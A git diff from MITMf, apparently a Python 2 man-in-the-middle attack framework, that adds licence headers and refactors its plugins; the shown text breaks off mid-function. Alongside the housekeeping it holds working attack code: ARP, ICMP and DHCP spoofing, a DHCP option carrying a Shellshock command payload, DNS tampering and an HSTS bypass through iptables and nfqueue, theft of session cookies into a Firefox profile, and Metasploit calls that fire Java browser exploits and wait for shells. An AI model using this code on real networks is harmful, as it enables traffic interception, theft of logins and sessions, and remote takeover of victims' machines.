a/plugins/FilePwn.py b/plugins/FilePwn.py index 630a314..e95ea8b 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + """ BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' diff --git a/plugins/Inject.py b/plugins/Inject.py index 23deaa2..17ce915 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import get_if_addr diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py index b1ff1ad..7efa59e 100644 --- a/plugins/JavaPwn.py +++ b/plugins/JavaPwn.py @@ -1,12 +1,34 @@ -from plugins.plugin import Plugin -from plugins.BrowserProfiler import BrowserProfiler -from time import sleep -import libs.msfrpc as msfrpc +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import core.msfrpc as msfrpc import string import random import threading import sys import logging + +from plugins.plugin import Plugin +from plugins.BrowserProfiler import BrowserProfiler +from time import sleep + logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import get_if_addr @@ -67,7 +89,7 @@ class JavaPwn(BrowserProfiler, Plugin): client_vstring = java_version[:-len(java_version.split('.')[3])-1] client_uversion = int(java_version.split('.')[3]) - for ver in self.javacfg['Multi'].items(): + for ver in self.javacfg['Multi'].iteritems(): if type(ver[1]) is list: for list_vers in ver[1]: @@ -108,7 +130,7 @@ class JavaPwn(BrowserProfiler, Plugin): break shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions if len(shell) > 0: - for k, v in shell.items(): + for k, v in shell.iteritems(): if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted logging.info("%s >> Got shell!" % client_ip) self.sploited_ips.append(client_ip) #target successfuly exploited :) @@ -165,7 +187,7 @@ class JavaPwn(BrowserProfiler, Plugin): #here we check to see if we already set up the exploit to avoid creating new jobs for no reason jobs = msf.call('job.list') #get running jobs if len(jobs) > 0: - for k, v in jobs.items(): + for k, v in jobs.iteritems(): info = msf.call('job.info', [k]) if exploit in info['name']: logging.info('%s >> %s already started' % (vic_ip, exploit)) @@ -196,6 +218,7 @@ class JavaPwn(BrowserProfiler, Plugin): logging.info("%s >> falling back to the signed applet attack" % vic_ip) rand_url = self.rand_url() + rand_port = random.randint(1000, 65535) cmd = "use exploit/multi/browser/java_signed_applet\n" cmd += "set SRVPORT %s\n" % self.msfport @@ -217,7 +240,7 @@ class JavaPwn(BrowserProfiler, Plugin): jobs = msf.call('job.list') if len(jobs) > 0: print '\n[*] Stopping all running metasploit jobs' - for k, v in jobs.items(): + for k, v in jobs.iteritems(): msf.call('job.stop', [k]) consoles = msf.call('console.list')['consoles'] diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py index 556a754..595c160 100644 --- a/plugins/JsKeylogger.py +++ b/plugins/JsKeylogger.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + from plugins.plugin import Plugin from plugins.Inject import Inject import logging diff --git a/plugins/Replace.py b/plugins/Replace.py index a55e2db..dc7e8e6 100644 --- a/plugins/Replace.py +++ b/plugins/Replace.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + """ Plugin by @rubenthijssen """ diff --git a/plugins/Responder.py b/plugins/Responder.py index 9acde6e..5b45825 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -1,11 +1,32 @@ -from plugins.plugin import Plugin -from libs.responder.Responder import start_responder -from libs.sslstrip.DnsCache import DnsCache -from twisted.internet import reactor +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import sys import os import threading +from plugins.plugin import Plugin +from libs.responder.Responder import start_responder +from core.sslstrip.DnsCache import DnsCache +from twisted.internet import reactor + class Responder(Plugin): name = "Responder" optname = "responder" diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index 0e7a2d3..7b3be66 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + from plugins.plugin import Plugin from plugins.Inject import Inject import sys @@ -15,10 +35,11 @@ class SMBAuth(Inject, Plugin): def initialize(self, options): Inject.initialize(self, options) self.target_ip = options.host - self.html_payload = self._get_data() if not self.target_ip: self.target_ip = options.ip_address + + self.html_payload = self._get_data() def add_options(self, options): options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]") diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 55561e8..5859086 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -1,23 +1,133 @@ -from plugins.plugin import Plugin -from libs.sslstrip.URLMonitor import URLMonitor +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import sys +import dns.resolver +import logging + +from plugins.plugin import Plugin +from core.utils import SystemConfig +from core.sslstrip.URLMonitor import URLMonitor +from core.wrappers.nfqueue import Nfqueue + +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import * class HSTSbypass(Plugin): name = 'SSLstrip+' optname = 'hsts' desc = 'Enables SSLstrip+ for partial HSTS bypass' - version = "0.2" + version = "0.3" has_opts = False - req_root = False + req_root = True def initialize(self, options): self.options = options + self.manualiptables = options.manualiptables try: config = options.configfile['SSLstrip+'] except Exception, e: sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) + if not options.manualiptables: + SystemConfig.iptables.DNS(1) + + self.dns = DNSmirror(1) + self.dns.hstscfg = config + self.dns.start() + print "| |_ SSLstrip+ by Leonardo Nve running" URLMonitor.getInstance().setHstsBypass(config) + + def finish(self): + self.dns.stop() + + if not self.manualiptables: + SystemConfig.iptables.Flush() + +class DNSmirror(Nfqueue): + + hstscfg = None + + def callback(self, payload): + try: + #logging.debug(payload) + pkt = IP(payload.get_payload()) + + if not pkt.haslayer(DNSQR): + payload.accept() + + if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): + for k,v in self.hstscfg.iteritems(): + if v == pkt[DNSQR].qname[:-1]: + ip = self.resolve_domain(k) + if ip: + self.modify_dns(payload, pkt, ip) + return + + if 'wwww' in pkt[DNSQR].qname: + ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) + if ip: + self.modify_dns(payload, pkt, ip) + return + + if 'web' in pkt[DNSQR].qname: + ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) + if ip: + self.modify_dns(payload, pkt, ip) + return + + payload.accept() + + except Exception, e: + print "Exception occurred in nfqueue callback: " + str(e) + + def modify_dns(self, payload, pkt, ip): + try: + mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ + UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ + DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) + + mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field + for i in ip: + mpkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) + + logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + payload.set_payload(str(mpkt)) + payload.accept() + + except Exception, e: + print "Exception occurred while modifying DNS: " + str(e) + + def resolve_domain(self, domain): + try: + logging.debug("Resolving -> %s" % domain) + answer = dns.resolver.query(domain, 'A') + real_ips = [] + for rdata in answer: + real_ips.append(rdata.address) + + if len(real_ips) > 0: + return real_ips + + except Exception: + logging.info("Error resolving " + domain) diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py index 8431e80..d8b31a6 100644 --- a/plugins/SessionHijacker.py +++ b/plugins/SessionHijacker.py @@ -1,7 +1,27 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + #Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb from plugins.plugin import Plugin -from libs.publicsuffix import PublicSuffixList +from core.publicsuffix.publicsuffix import PublicSuffixList from urlparse import urlparse import threading import os @@ -55,8 +75,6 @@ class SessionHijacker(Plugin): client_ip = request.getClientIP() if 'cookie' in headers: - - logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) if self.firefox: url = "http://" + headers['host'] + request.getPathFromUri() @@ -66,9 +84,21 @@ class SessionHijacker(Plugin): cvalue = str(cookie)[eq+1:].strip() self.firefoxdb(headers['host'], cname, cvalue, url, client_ip) + logging.info("%s << Inserted cookie into firefox db" % client_ip) + if self.mallory: - self.sessions.append((headers['host'], headers['cookie'])) - logging.info("%s Sent cookie to browser extension" % client_ip) + if len(self.sessions) > 0: + temp = [] + for session in self.sessions: + temp.append(session[0]) + if headers['host'] not in temp: + self.sessions.append((headers['host'], headers['cookie'])) + logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) + logging.info("%s Sent cookie to browser extension" % client_ip) + else: + self.sessions.append((headers['host'], headers['cookie'])) + logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) + logging.info("%s Sent cookie to browser extension" % client_ip) #def handleHeader(self, request, key, value): # Server => Client # if 'set-cookie' in request.client.headers: @@ -146,7 +176,6 @@ class SessionHijacker(Plugin): expire_date = 2000000000 #Year2033 now = int(time.time()) - 600 self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0)) - logging.info("%s << Inserted cookie into firefox db" % ip) def add_options(self, options): options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies') diff --git a/plugins/Sniffer.py b/plugins/Sniffer.py index 778c9d9..ccffeb5 100644 --- a/plugins/Sniffer.py +++ b/plugins/Sniffer.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + #This is a MITMf port of net-creds https://github.com/DanMcInerney/net-creds from plugins.plugin import Plugin diff --git a/plugins/Spoof.py b/plugins/Spoof.py index bb8d434..5a3ab64 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -1,25 +1,40 @@ -import dns.resolver +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import logging -import os import sys -import threading -import binascii -import random + +from core.utils import SystemConfig +from core.sslstrip.DnsCache import DnsCache +from core.wrappers.protocols import _ARP, _DHCP, _ICMP +from core.wrappers.nfqueue import Nfqueue +from plugins.plugin import Plugin logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * -from netfilterqueue import NetfilterQueue -from libs.sslstrip.DnsCache import DnsCache -from plugins.plugin import Plugin -from time import sleep -from base64 import b64decode -from urllib import unquote class Spoof(Plugin): name = "Spoof" optname = "spoof" desc = "Redirect/Modify traffic using ICMP, ARP or DHCP" - version = "0.4" + version = "0.5" has_opts = True req_root = True @@ -28,63 +43,49 @@ class Spoof(Plugin): self.options = options self.dnscfg = options.configfile['Spoof']['DNS'] self.dhcpcfg = options.configfile['Spoof']['DHCP'] - self.hstscfg = options.configfile['SSLstrip+'] self.target = options.target self.manualiptables = options.manualiptables - + self.protocolInstances = [] + #Makes scapy more verbose debug = False - if self.options.log_level is 'debug': + if options.log_level is 'debug': debug = True - self.sysconfig = SystemConfig(options.listen) - if options.arp: + if not options.gateway: sys.exit("[-] --arp argument requires --gateway") - self.sysconfig.set_forwarding(1) - - if not options.manualiptables: - self.sysconfig.iptables_flush() - self.sysconfig.iptables_http() + arp = _ARP(options.gateway, options.interface, options.mac_address) + arp.target = options.target + arp.arpmode = options.arpmode + arp.debug = debug - self.arp = _ARP(options.gateway, options.interface, options.mac_address) - self.arp.target = options.target - self.arp.arpmode = options.arpmode - self.arp.debug = debug - self.arp.start() + self.protocolInstances.append(arp) elif options.icmp: + if not options.gateway: sys.exit("[-] --icmp argument requires --gateway") + if not options.target: sys.exit("[-] --icmp argument requires --target") - self.sysconfig.set_forwarding(1) - - if not options.manualiptables: - self.sysconfig.iptables_flush() - self.sysconfig.iptables_http() + icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address) + icmp.debug = debug - self.icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address) - self.icmp.debug = debug - self.icmp.start() + self.protocolInstances.append(icmp) elif options.dhcp: + if options.target: sys.exit("[-] --target argument invalid when DCHP spoofing") - self.sysconfig.set_forwarding(1) - - if not options.manualiptables: - self.sysconfig.iptables_flush() - self.sysconfig.iptables_http() - - self.dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) - self.dhcp.shellshock = options.shellshock - self.dhcp.debug = debug - self.dhcp.start() + dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) + dhcp.shellshock = options.shellshock + dhcp.debug = debug + self.protocolInstances.append(dhcp) else: sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp") @@ -92,27 +93,26 @@ class Spoof(Plugin): if options.dns: if not options.manualiptables: - self.sysconfig.iptables_dns(0) + SystemConfig.iptables.DNS(0) dnscache = DnsCache.getInstance() - for domain, ip in self.dnscfg.items(): + for domain, ip in self.dnscfg.iteritems(): dnscache.cacheResolution(domain, ip) - self.dns = _DNS(0) - self.dns.dnscfg = self.dnscfg - self.dns.dns = True - self.dns.start() + dns = DNStamper(0) + dns.dnscfg = self.dnscfg - if options.hsts: + self.protocolInstances.append(dns) - if not options.manualiptables: - self.sysconfig.iptables_dns(1) - self.dns_hsts = _DNS(1) - self.dns_hsts.hstscfg = self.hstscfg - self.dns_hsts.hsts = True - self.dns_hsts.start() + SystemConfig.setIpForwarding(1) + + if not options.manualiptables: + SystemConfig.iptables.HTTP(options.listen) + + for protocol in self.protocolInstances: + protocol.start() def add_options(self, options): group = options.add_mutually_exclusive_group(required=False) @@ -126,300 +126,23 @@ class Spoof(Plugin): options.add_argument('--arpmode',type=str, dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]') #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') - #added by alexander.georgiev@daloo.de - options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') - def finish(self): - if self.options.arp: - self.arp.stop() - sleep(3) - - self.arp.arp_inter = 1 - if self.target: - print "\n[*] Re-ARPing target" - self.arp.reARP_target(5) - - print "\n[*] Re-ARPing network" - self.arp.reARP_net(5) - - elif self.options.icmp: - self.icmp.stop() - sleep(3) - - if self.options.dns: - self.dns.stop() - - if self.options.hsts: - self.dns_hsts.stop() + for protocol in self.protocolInstances: + protocol.stop() if not self.manualiptables: - self.sysconfig.iptables_flush() + SystemConfig.iptables.Flush() - self.sysconfig.set_forwarding(0) + SystemConfig.setIpForwarding(0) -class SystemConfig(): - def __init__(self, http_redir_port): +class DNStamper(Nfqueue): - self.http_redir_port = http_redir_port + dnscfg = None - def set_forwarding(self, value): - with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: - file.write(str(value)) - file.close() - - def iptables_flush(self): - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') - - def iptables_http(self): - os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.http_redir_port) - - def iptables_dns(self, queue_number): - os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number) - -class _DHCP(): - - def __init__(self, interface, dhcpcfg, ip, mac): - self.interface = interface - self.ip_address = ip - self.mac_address = mac - self.shellshock = None - self.debug = False - self.dhcpcfg = dhcpcfg - self.rand_number = [] - self.dhcp_dic = {} - - def start(self): - t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,)) - t.setDaemon(True) - t.start() - - def dhcp_sniff(self, interface): - sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface) - - def dhcp_rand_ip(self): - pool = self.dhcpcfg['ip_pool'].split('-') - trunc_ip = pool[0].split('.'); del(trunc_ip[3]) - max_range = int(pool[1]) - min_range = int(pool[0].split('.')[3]) - number_range = range(min_range, max_range) - for n in number_range: - if n in self.rand_number: - number_range.remove(n) - rand_number = random.choice(number_range) - self.rand_number.append(rand_number) - rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number) - - return rand_ip - - def dhcp_callback(self, resp): - if resp.haslayer(DHCP): - xid = resp[BOOTP].xid - mac_addr = resp[Ether].src - raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - if xid in self.dhcp_dic.keys(): - client_ip = self.dhcp_dic[xid] - else: - client_ip = self.dhcp_rand_ip() - self.dhcp_dic[xid] = client_ip - - if resp[DHCP].options[0][1] is 1: - logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) - logging.info("Sending DHCP OFFER") - packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / - IP(src=self.ip_address, dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / - DHCP(options=[("message-type", "offer"), - ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', self.ip_address), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240), - "end"])) - - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass - - sendp(packet, iface=self.interface, verbose=self.debug) - - if resp[DHCP].options[0][1] is 3: - logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) - packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / - IP(src=self.ip_address, dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / - DHCP(options=[("message-type", "ack"), - ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', self.ip_address), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240)])) - - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass - - if self.shellshock: - logging.info("Sending DHCP ACK with shellshock payload") - packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) - packet[DHCP].options.append("end") - else: - logging.info("Sending DHCP ACK") - packet[DHCP].options.append("end") - - sendp(packet, iface=self.interface, verbose=self.debug) - -class _ICMP(): - - def __init__(self, interface, target, gateway, ip_address): - - self.target = target - self.gateway = gateway - self.interface = interface - self.ip_address = ip_address - self.debug = False - self.send = True - self.icmp_interval = 2 - - def build_icmp(self): - pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\ - IP(src=self.target, dst=self.gateway)/UDP() - - return pkt - - def start(self): - pkt = self.build_icmp() - - t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,)) - t.setDaemon(True) - t.start() - - def stop(self): - self.send = False - - def send_icmps(self, pkt, interface, debug): - while self.send: - sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug) - -class _ARP(): - - def __init__(self, gateway, interface, mac): - - self.gateway = gateway - self.gatewaymac = getmacbyip(gateway) - self.mac = mac - self.target = None - self.targetmac = None - self.interface = interface - self.arpmode = 'req' - self.debug = False - self.send = True - self.arp_inter = 3 - - def start(self): - if self.gatewaymac is None: - sys.exit("[-] Error: Could not resolve gateway's MAC address") - - if self.target: - self.targetmac = getmacbyip(self.target) - if self.targetmac is None: - sys.exit("[-] Error: Could not resolve target's MAC address") - - if self.arpmode == 'req': - pkt = self.build_arp_req() - - elif self.arpmode == 'rep': - pkt = self.build_arp_rep() - - t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,)) - t.setDaemon(True) - t.start() - - def send_arps(self, pkt, interface, debug): - while self.send: - sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug) - - def stop(self): - self.send = False - - def build_arp_req(self): - if self.target is None: - pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway) - elif self.target: - pkt = Ether(src=self.mac, dst=self.targetmac)/\ - ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target) - - return pkt - - def build_arp_rep(self): - if self.target is None: - pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2) - elif self.target: - pkt = Ether(src=self.mac, dst=self.targetmac)/\ - ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2) - - return pkt - - def reARP_net(self, count): - pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ - ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2) - - sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface) - - def reARP_target(self, count): - pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ - ARP(psrc=self.target, hwsrc=self.targetmac, op=2) - - sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface) - -class _DNS(): - - def __init__(self, queue_number): - self.hsts = False - self.dns = False - self.dnscfg = None - self.hstscfg = None - self.queue_number = queue_number - self.nfqueue = NetfilterQueue() - - def start(self): - t = threading.Thread(name='dns_nfqueue', target=self.nfqueue_bind, args=()) - t.setDaemon(True) - t.start() - - def nfqueue_bind(self): - self.nfqueue.bind(self.queue_number, self.nfqueue_callback) - self.nfqueue.run() - - def stop(self): + def callback(self, payload): try: - self.nfqueue.unbind() - except: - pass - - def resolve_domain(self, domain): - try: - logging.debug("Resolving -> %s" % domain) - answer = dns.resolver.query(domain, 'A') - real_ips = [] - for rdata in answer: - real_ips.append(rdata.address) - - if len(real_ips) > 0: - return real_ips - - except Exception: - logging.info("Error resolving " + domain) - - def nfqueue_callback(self, payload): - try: - #logging.debug(payload) + logging.debug(payload) pkt = IP(payload.get_payload()) if not pkt.haslayer(DNSQR): @@ -427,59 +150,28 @@ class _DNS(): if pkt.haslayer(DNSQR): logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) - if self.dns: - for k, v in self.dnscfg.items(): - if k in pkt[DNSQR].qname: - self.modify_dns(payload, pkt, v) - return + for k, v in self.dnscfg.iteritems(): + if k == pkt[DNSQR].qname[:-1]: + self.modify_dns(payload, pkt, v) + return - payload.accept() - - elif self.hsts: - if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): - for k,v in self.hstscfg.items(): - if v == pkt[DNSQR].qname[:-1]: - ip = self.resolve_domain(k) - if ip: - self.modify_dns(payload, pkt, ip) - return - - if 'wwww' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - return - - if 'web' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) - if ip: - self.modify_dns(payload, pkt, ip) - return - - payload.accept() + payload.accept() except Exception, e: print "Exception occurred in nfqueue callback: " + str(e) def modify_dns(self, payload, pkt, ip): try: - spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ + + mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ 